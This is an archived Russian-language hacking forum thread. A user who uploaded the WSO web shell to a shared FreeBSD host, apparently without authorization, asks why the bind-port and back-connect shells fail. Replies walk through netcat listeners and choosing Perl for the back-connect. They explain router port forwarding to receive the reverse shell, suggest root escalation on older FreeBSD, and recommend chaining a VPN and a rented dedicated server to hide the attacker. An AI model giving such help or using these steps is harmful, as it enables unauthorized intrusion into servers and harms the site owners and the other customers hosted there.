Просмотр полной версии : Не могу соединиться с сервером (bind port, Back-connect)
Не могу соединиться с сервером (bind port, Back-connect).
Получил доступ по FTP к сайту. На сайте есть поддержка php. Залил туда WSO (веб-шелл) http://forum.xakep.ru/m_1393504/tm.htm.
По FTP не смог подняться выше чем каталог сайта.
А через веб шелл WSO смог подняться выше (вплоть до /),
оказалось на этом сервере хостится много сайтов.
Сервер FreeBSD.
В этом веб шелле в разделе "Network tools" есть две команды:
1 - Bind port to /bin/sh
2 - Back-connect to
Я решил использовать bind port.
В самом веб шелле, в поле Port ввёл 31337 (не ввёл, а там это уже было), Password: wso, Using: Perl.
Нажал >> (это кнопка OK).
Выдало
w15332 83154 0.0 0.0 1544 324 ?? DLJ 11:56AM 0:00.00 grep bp.pl
Как я понял, был запущен Perl-скрипт.
Теперь на компе друга открываю командную строку,
ввожу telnet, потом ввожу
open **.***.***.** 31337
Вместо звёздочек ip-адрес сервера (показал WSO).
Выдало
Подключение к **********...Не удалось открыть подключение к этому узлу, на порт 31337: Сбой подключения
Я ведь ещё пароль указал, как ввести пароль через telnet?
Ввёл команду id на веб шелле WSO
выдало
uid=15332(w15332) gid=15332(g15332) groups=15332(g15332),80(www)
Может прав не хватает?
ph1l1ster
20.08.2009, 12:15
на своём компе
nc -l -p 31337
и с шелла коннекться к себе.
на своём компе
nc -l -p 31337
и с шелла коннекться к себе.
C:\Documents and Settings\Администратор>nc -l -p 31337
"nc" не является внутренней или внешней
командой, исполняемой программой или пакетным файлом.
C:\Documents and Settings\Администратор>ver
Microsoft Windows XP [Версия 5.1.2600]
ps лучше не на своём, а на компе друга
C:\Documents and Settings\Администратор>nc -l -p 31337
"nc" не является внутренней или внешней
командой, исполняемой программой или пакетным файлом.
C:\Documents and Settings\Администратор>ver
Microsoft Windows XP [Версия 5.1.2600]
ps лучше не на своём, а на компе друга
Сначала NetCat скачай отсюда (http://www.securitylab.ru/software/233635.php)
Перезагрузился в линукс.
Запускаю из под рута
[root@localhost vova]# nc -l -p 31337
usage: nc [-46DdhklnrStUuvzC] [-i interval] [-p source_port]
[-s source_ip_address] [-T ToS] [-w timeout] [-X proxy_version]
[-x proxy_address[:port]] [hostname] [port[s]]
[root@localhost vova]#
Что не так?
Ввёл на своём компе nc -l 31337
Потом вошёл в wso, выбрал Back-connect to
в поле Server: был мой ip, порт 31337, в поле using вписано c.
нажал OK.
появилось
w15332 99627 0.0 0.0 2532 764 ?? SsJ 2:07PM 0:00.00 /tmp/bc **.**.**
w15332 99630 0.0 0.0 2632 392 ?? RLJ 2:07PM 0:00.00 grep bc
у меня на консоли (где запускал nc) ничего не появилось, ошибки кстати не выдало.
слушает порт и всё. ничего не появляется.
ph1l1ster
20.08.2009, 14:14
Ввёл на своём компе nc -l 31337
Потом вошёл в wso, выбрал Back-connect to
в поле Server: был мой ip, порт 31337, в поле using вписано c.
нажал OK.
появилось
у меня на консоли (где запускал nc) ничего не появилось, ошибки кстати не выдало.
слушает порт и всё. ничего не появляется.
perl выбирай. стабильней.
Скачал другой nc.
http://forum.antichat.ru/threadnav116893-2-10.html
Со сборкой тоже пришлось помучиться. Выдавало ошибку в netcat.c - функция res_init() не определена.
Решил удалением части кода из netcat.c:
Тоже удали res_init(). без этого не компилилось.
скомпилировал и переименовал в ncmy (чтобы не запутаться)
на своём компе запустил
./ncmy -l -p 31337
ошибок нет, ничего не выдало.
Потом вошёл в wso, выбрал Back-connect to
в поле Server: был мой ip, порт 31337, в поле using вписано c.
нажал OK.
появилось
w15332 58301 0.0 0.0 2532 764 ?? SsJ 2:55PM 0:00.00 /tmp/bc **.**.**
w15332 58304 0.0 0.0 5900 900 ?? RLJ 2:55PM 0:00.00 grep bc
у меня на консоли (где запускал nc) ничего не появилось, ошибки кстати не выдало.
слушает порт и всё. ничего не появляется.
Я выходу в интернет через модем со встроенной точкой доступа wifi.
На моём компе ip 192.168.*.*
Веб шелл wso говорит, что мой ip 95.**.**.*
Я выходу в интернет через модем со встроенной точкой доступа wifi.
На моём компе ip 192.168.*.*
Веб шелл wso говорит, что мой ip 95.**.**.*
Так ты еще и за НАТом сидиш!!! Ты порт ремап в модеме зделал с внешнего IP на внутрений(твой комп) ?
Версию Фрибсд смотри и если до 7 поднимай права до рута, а так - ***ней какой-то страдаешь. WWW ничего тебе не даст.
Так ты еще и за НАТом сидиш!!! Ты порт ремап в модеме зделал с внешнего IP на внутрений(твой комп) ?
У меня LinkSys Wireless-G ADSL Home Gateway WAG354G V.2
Меню Setup->Advanced Routing->NAT
Там только два пункта Enable, Disable
Версию Фрибсд смотри и если до 7 поднимай права до рута, а так - ***ней какой-то страдаешь. WWW ничего тебе не даст.
Как раз версия 7
У меня LinkSys Wireless-G ADSL Home Gateway WAG354G V.2
Меню Setup->Advanced Routing->NAT
Там только два пункта Enable, Disable
Идеш в The Applications and Gaming Tab -> Single Port Forwarding -> и заполняеш следующим образом:
поле Application ->Backconnect, External port - 31337,
Internal port - 31337, Протокол TCP, IP адрес - твой внутрений 192,168,*,* , Enable
geezer.code
20.08.2009, 17:47
Ох , парни вы ему и насоветовали. бэк-коннект на свой риал ip это "мудрое" решение.
Ох , парни вы ему и насоветовали. бэк-коннект на свой риал ip это "мудрое" решение.
А что посоветуешь ты?
geezer.code
20.08.2009, 18:11
сначала думай о своей безопасности, а потом уже "ломай" чтото
нормальная схема такая.
впн -> дедик -> ломаемый сервер
Я вообще то ничего не ломал. Просто шелл хотел.
vBulletin® v3.8.14, Copyright ©2000-2026, vBulletin Solutions, Inc. Перевод: zCarot